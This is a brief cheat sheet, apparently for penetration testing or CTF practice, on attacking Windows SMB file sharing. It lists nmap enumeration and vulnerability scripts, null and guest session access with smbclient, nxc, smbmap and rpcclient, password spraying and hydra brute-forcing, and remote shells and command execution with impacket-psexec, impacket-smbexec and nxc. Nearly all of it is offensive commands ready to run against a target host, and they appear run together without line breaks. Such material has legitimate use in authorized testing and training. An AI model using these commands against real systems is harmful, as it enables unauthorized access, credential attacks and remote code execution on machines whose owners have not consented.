Windows file sharing — enumerate shares, users, null sessions, and hunt for readable/writable shares.
nmap -p139,445 -sV -sC $tnmap -p445 --script smb-enum-shares,smb-enum-users,smb-os-discovery $tnmap -p445 --script smb-vuln-* $tTry connecting without creds first. Many boxes allow guest or null.
smbclient -N -L //$t/nxc smb $t -u '' -p '' --sharesnxc smb $t -u guest -p '' --sharessmbmap -H $t -u guestrpcclient -U '' -N $t -c 'enumdomusers'smbclient -N //$t/<share>mount -t cifs //$t/<share> /mnt/smb -o username=guest,password=nxc smb $t -u <user> -p <pass> --sharesnxc smb $t -u users.txt -p passwords.txthydra -L users.txt -P pass.txt smb://$tIf you have valid creds, try psexec/impacket for a shell.
impacket-psexec domain/user:pass@$timpacket-smbexec domain/user:pass@$tnxc smb $t -u <user> -p <pass> -x 'whoami'